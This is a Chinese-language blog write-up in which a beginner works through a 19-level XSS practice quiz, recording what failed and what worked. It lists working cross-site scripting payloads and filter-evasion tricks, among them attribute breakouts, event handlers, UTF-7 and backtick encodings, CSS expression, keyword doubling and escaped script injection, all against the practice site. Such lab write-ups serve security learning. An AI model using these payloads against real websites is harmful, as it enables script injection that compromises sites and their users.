XSS quiz练习题做题过程及感悟
XSS quiz
最近刚学XSS。所以新手理解如有错误不当,欢迎批评指正。
第1题
一开始做,使用了Chrome浏览器。第一题怎么都做不出来。突然想起来使用IE,打开IE11,才成功了。
<script>alert(document.domain);</script>
第2题
第二题,直接用这个不行。
查看源代码。
构造一个,把左边的< input ..... 封掉。
"><script>alert(document.domain);</script><"
第3题
随便搜点东西
构造
"</b></form><script>alert(document.domain);</script><from><b>"
也不行。
可见他过滤了尖括号和引号。<>” 分别变成了转义符 <>"
我试试用 Jother。也不行
上网查阅资料,找到另一种回避 < > “ 的方法:Unicode编码
< \u003c
> \u003e
“ \u0022
也不行。
再试试Base64
data:text/html;base64,IjwvYj48L2Zvcm0+PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pjxmcm9tPjxiPiI=
data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik+
似乎也不行。跪了
实在不行了。Hint里写,Hint: The input in text box is properly escaped.
网上的答案写:“但是输入点就不仅这处。”
只好在F12 Console里写:
alert(document.domain)
弹窗。不知出题者什么意思。。。估计不是这个意思。
什么叫输入点不仅此处?尝试使用工具 WebScarab:
改下面的。在Japan后加上
<script>alert(document.domain);</script>
弹窗成功。
在Firefox的FireBug下,直接修改也行。不知道出题的意思是什么。
第4题
发现了这个东西:多出来的
我把它改为了 type=text,直接输入下文:
"><img src=# onerror=alert(document.domain)><input type="text" value="
成功弹窗。
第5题
一开始没注意有什么。没有过滤。突然发现有长度限制15字符。
直接把15改为999。然后填写,弹窗成功。
也可以用WebScarab拦截POST包,修改。可以绕过15字符限制。成功弹窗。
后来看了网上答案,似乎也是用代理拦截。
第6题
这次随便输入东西。发现 <>号被转义为 <>
尝试利用前面的知识:Unicode编码。似乎不行。
突然想起,用这个代码,不需要尖括号:
" onmouseover=alert(document.domain) align="left
弹窗成功。
看答案是基本一样的。
第7题
这一次刚一看,没有长度限制。也没有过滤。仔细看才发现,把&<>” ‘ 这些符号都转义了。
& <> " '
先来试试前面的Unicode和base64吧:
测试不行?
"><img src=# onerror=alert(document.domain)><"
看Hint,Hint: nearly the same... but a bit more tricky.
差点忘了第6题的方法。只是引号不能用了。
突然发现 input的value没有引号。要啥引号!
123 onmouseover=alert(document.domain)
鼠标滑过,弹窗成功。
看来代码还是要仔细看的。
第8题
这次的Search变成了Make a link。果然是输入一个地址,在下面生成一个同样的链接。
那目测要反射型?
但是测试一下发现,他过滤了引号。和尖括号。
" onclick=alert(document.domain) align="left
上面是不行的。
忍不住看一眼答案,瞬间明白了,直接在src里面插代码不就完了。
javascript:alert(document.domain)
这就行了
第9题
看代码,又一个hidden的input。
Hint: UTF-7 XSS
UTF-7:A Mail-Safe Transformation Format of Unicode(RFC1642)。这是一种使用 7 位 ASCII 码对 Unicode 码进行转换的编码。它的设计目的仍然是为了在只能传递 7 为编码的邮件网关中传递信息。 UTF-7 对英语字母、数字和常见符号直接显示,而对其他符号用修正的 Base64 编码。符号 + 和 - 号控制编码过程的开始和暂停。所以乱码中如果夹有英文单词,并且相伴有 + 号和 - 号,这就有可能是 UTF-7 编码。
nputn link.ver=alert(document.domain)不管了,先上FireBug爽一把:
我看到,这个hidden的input,name=”charset”,value=”EUC-JP”。
这EUC-JP是日语的一种编码方式。
研究答案:
+ACI- onmouseover=+ACI-alert(document.domain)+ADsAIg- x=+ACI-
utf-7
实际测试:+编码为%2b
p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=euc-jp
突然在另一个答案上有注释:
现在只有IE支持utf-7所以IE下通过
我去,用了半天火狐了。转回IE
可惜IE也不行?什么情况?
第10题
这次<>”都没有过滤。
用了刚才一招:
" onmouseover=alert(document.domain) align="left
没有弹窗。再看看代码,发现 domain这个词给我过滤了
恐怕要用编码。
对了,上边还有个hidden的input:
<input type="hidden" name="key" value="tubhf22ui/qiq">
这是啥玩意?
搞了半天,忍不住看一眼答案,真是太巧妙了:
" onmouseover=alert(document.domdomainain); x="
把domain过滤掉,两边合起来还是domain。
致以崇高敬意。
"ametoxBug
第11题
这一次什么都没有过滤。不知道会有什么花样。
直接上代码:" onmouseover=alert(document.domdomainain); x="
我去,我的mouseover变为了xxx。而不是上一局的直接删除。
上一局的方法又不好使了。
再来一招:
"><img src=# onerror=alert(document.domain)><"
我去,error这个词也过滤了。
我猜script也会过滤:
果然。<script></script>之间的都被删了。
这次的Hint: "s/script/xscript/ig;" and "s/on[a-z]+=/onxxx=/ig;" and "s/style=/stxxx=/ig;"
src=”javascript.......
因此也变为了javaxscript
看答案:使用了 	 (\t)把script隔开了。
用 "><a href="javascr ipt:alert(document.domain);">12</a>
点击链接,火狐会直接打开新窗口
用IE,却可以弹窗。我勒个去?
第12题
这次value没有引号。但是发现空格会被过滤。尖括号和引号也会直接消失。
答案是:
``onmouseover=alert(document.domain);
一开始两个单引号。但是用火狐还是不行。用IE可以。
不对,不是单引号,而是ESC下面的键 ` ,ascii码为 96(0x60)。叫做反单引号。
答案写:
//这一关是吧00空字符,和20空格、尖括号、单引号、双引号都过滤成空了。可以用反引号(`)TAB键上面的那个代替。IE下通过、FF,chrome不行。
服了。
第13题
一个背景颜色的题,可惜会过滤我的引号。
关于style,expression,css等方面基本不懂。直接看答案吧。
网上某答案写
background-color:#f00;background:url("javascript:alert(document.domain);");
这种方式没有成功
另一个答案写:
在CSS样式中利用expression实现JavaScript中的onmouseover/onmouseout事件
aa:expression(onmouseover=function(){alert(document.domain)})
似乎也不行。
跪了
先用firebug弹窗,过了再说。
PS:14题开始使用IE8内核的浏览器时,回过头看一看:
两种都可以弹窗。
第14题
还是style的题。先看Hint: s/(url|script|eval|expression)/xxx/ig;
难道是升级版?试了一下,这四个词全变成了xxx。那么上一题的方法也不能用了。
再次看答案,
cos:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})
看来是在里面插入空白注释来回避审查。
我使用IE11和Firefox都无法弹窗。有可能是浏览器问题(出了这么多问题),于是拿出经典的 点心浏览器(不是做广告),IE8内核。一直按F12切换内核太麻烦。这次弹窗了。那就决定使用它了。
第15题
这是一个javascript,使用了document.write。
先上代码:
");alert(document.domain);alert("
发现转义了<>”
用转义的ASCII码:
16进制,< 0x3c >0x3e
\x3cscript\x3ealert(document.domain);\x3c/script\x3e
发现单个\不成功。使用这个:
\\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
成功弹窗。
PS:
做个小实验,本地HTML,
<script>
document.write("<script>alert(3)</script>");
</script>
不会弹窗。
<script>
document.write("\x3cscript\x3ealert(3)\x3c/script\x3e");
</script>
上面这样转义,则会弹窗。(Chrome)
第16题
目测与15题类似。但是Hint加了一句。
Hint: "document.write();" and "s/\\x/\\\\x/ig;"
再目测这是跟16进制过不去?
\x 会变为 x ,而\\x 还是\\x 。\\\x变为\\x。
试试十进制、八进制啥的。
<>的十进制是60和62。
\60script\62alert(document.domain);\60/script\62
仍然过滤了\。再次变为两个:
\\60script\\62alert(document.domain);\\60/script\\62
仍然不行。\\6集体消失。
试一下Unicode。参考前面的,
< \u003c
> \u003e
“ \u0022
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
可以了。
第17题
这一题有两个框。
看答案,这一题似乎较为复杂,和日语编码有关;并且新版本的IE都已经修复了。
提示:multi-byte character
euc-jp的编码范围:
byte 1為8E時, 為2 byte編碼, byte 2範圍為A1-DF
byte 1範圍為A1-FE時, 為2 byte編碼, byte 2範圍為A1-FE
byte 1為8F時為3 byte編碼, byte 2與byte 3範圍均為A1-FE
两个表单元素都提交%A7闭合最后的双引号,查看源码成功了,为什么UI上去没成功?无奈直接在地址栏:javascript:alert(document.domain);
现在发现原来是浏览器版本问题,别用IE8了过这个。
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
干脆跳过拉倒。
第18题
同样问题。
跳过拉倒。
第19题
这一题没有了input的框。只有一个指向自己的link。
那怎么办,直接console输入拉倒。(在地址栏输入javascript:alert(document.domain)也行)
全部通关。
XSS quiz练习题做题过程及感悟的更多相关文章
- ACM 做题过程中的一些小技巧。
ACM做题过程中的一些小技巧. 1.一般用C语言节约空间,要用C++库函数或STL时才用C++; cout.cin和printf.scanf最好不要混用. 2.有时候int型不够用,可以用long l ...
- ACM做题过程中的一些小技巧
1.一般用C语言节约空间,要用C++库函数或STL时才用C++; cout.cin和printf.scanf最好不要混用. 2.有时候int型不够用,可以用long long或__int64型(两个下 ...
- CodeM美团点评编程大赛复赛 做题感悟&题解
[T1] [简要题意] 长度为N的括号序列,随机确定括号的方向:对于一个已确定的序列,每次消除相邻的左右括号(右左不行),消除后可以进一步合并和消除直到不能消为止.求剩下的括号的期望.\(N \l ...
- C语言程序设计做题笔记之C语言基础知识(下)
C 语言是一种功能强大.简洁的计算机语言,通过它可以编写程序,指挥计算机完成指定的任务.我们可以利用C语言创建程序(即一组指令),并让计算机依指令行 事.并且C是相当灵活的,用于执行计算机程序能完成的 ...
- C语言程序设计做题笔记之C语言基础知识(上)
C语言是一种功能强大.简洁的计算机语言,通过它可以编写程序,指挥计算机完成指定的任务.我们可以利用C语言创建程序(即一组指令),并让计算机依指令行事.并且C是相当灵活的,用于执行计算机程序能完成的几乎 ...
- SDOI2016 R1做题笔记
SDOI2016 R1做题笔记 经过很久很久的时间,shzr终于做完了SDOI2016一轮的题目. 其实没想到竟然是2016年的题目先做完,因为14年的六个题很早就做了四个了,但是后两个有点开不动.. ...
- AtCoder Grand Contest 11~17 做题小记
原文链接https://www.cnblogs.com/zhouzhendong/p/AtCoder-Grand-Contest-from-11-to-20.html UPD(2018-11-16): ...
- AtCoder Grand Contest 1~10 做题小记
原文链接https://www.cnblogs.com/zhouzhendong/p/AtCoder-Grand-Contest-from-1-to-10.html 考虑到博客内容较多,编辑不方便的情 ...
- noip做题记录+挑战一句话题解?
因为灵巧实在太弱辽不得不做点noip续下命QQAQQQ 2018 积木大赛/铺设道路 傻逼原题? 然后傻逼的我居然检查了半天是不是有陷阱最后花了差不多一个小时才做掉我做过的原题...真的傻逼了我:( ...
随机推荐
- Bug管理工具之Mantis_配置篇
角色管理员.经理.开发人员.修改人员.报告人员.查看人员,权限从大到小递减.分配: My View Settings 'assigned' => '1', 'unassigned' => ...
- linux TCP: time wait bucket table overflow
早上一台rabbitmq和Java所在的服务器,客户端反馈超级卡,看io和cpu都不高.发现六七万消息挤压,临时性问题解决之后,看/var/log/messages,发现很多TCP: time wai ...
- CSS3与页面布局学习笔记(一)——概要、选择器、特殊性与刻度单位
web前端开发者最最注的内容是三个:HTML.CSS与JavaScript,他们分别在不同方面发挥自己的作用,HTML实现页面结构,CSS完成页面的表现与风格,JavaScript实现一些客户端的功能 ...
- 性能更好的js动画实现方式——requestAnimationFrame
用js来实现动画,我们一般是借助setTimeout或setInterval这两个函数,css3动画出来后,我们又可以使用css3来实现动画了,而且性能和流畅度也得到了很大的提升.但是css3动画还是 ...
- 基于SharePoint 2013的论坛解决方案[开源]
前言 这是自己在空闲时间里,为了提高对SharePoint的认识和熟悉技术,做的一个Demo.可能不尽完善,但是基本功能都已经有了,欢迎大家评论和提意见.自己也会在把源代码放到Github上进行开源, ...
- [Java] Java record
2-1 java中的封装 概念: 将类的某些信息隐藏在类内部,不允许外部程序直接访问,而是通过该类提供的方法类实现对隐藏信息的操作和访问. 好处: 1. 只能通过规定的方法访问数据 2. 隐藏类的实例 ...
- html ul li的学习
DIV+CSS里,我们用得最多的就是ul li来显示数据,如新闻按钮等. <div id="menu"> <ul> <li><a href ...
- 操作系统开发系列—12.f.在内核中添加中断处理 ●
因为CPU只有一个,同一时刻要么是客户进程在运行,要么是操作系统在运行,如果实现进程,需要一种控制权转换机制,这种机制便是中断. 要做的工作有两项:设置8259A和建立IDT. /*========= ...
- Android http 的使用
1.okHttp https://github.com/square/okhttp 2.okhttp-utils https://github.com/hongyangAndroid/ok ...
- Android项目实战(十九):Android Studio 优秀插件: Parcelable Code Generator
Android Studio 优秀插件系列: Android Studio 优秀插件(一):GsonFormat Android Studio 优秀插件(二): Parcelable Code Gen ...